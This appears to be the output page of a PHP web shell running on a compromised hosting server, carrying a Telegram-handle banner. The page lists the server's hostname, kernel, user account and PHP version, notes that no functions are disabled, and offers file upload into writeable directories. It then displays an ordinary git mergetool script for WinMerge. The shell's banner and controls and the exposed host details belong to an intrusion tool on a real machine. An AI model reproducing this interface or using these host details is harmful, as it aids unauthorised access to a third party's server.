https://t.me/RX1948
Server : Apache
System : Linux enhance01.hostingraja.org 5.15.0-144-generic #157-Ubuntu SMP Mon Jun 16 07:33:10 UTC 2025 x86_64
User : webdemo_4 ( 4864)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /lib/git-core/mergetools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/git-core/mergetools/winmerge
diff_cmd () {
	"$merge_tool_path" -u -e "$LOCAL" "$REMOTE"
	return 0
}

merge_cmd () {
	# mergetool.winmerge.trustExitCode is implicitly false.
	# touch $BACKUP so that we can check_unchanged.
	"$merge_tool_path" -u -e -dl Local -dr Remote \
		"$LOCAL" "$REMOTE" "$MERGED"
}

translate_merge_tool_path() {
	mergetool_find_win32_cmd "WinMergeU.exe" "WinMerge"
}

https://t.me/RX1948 - 2025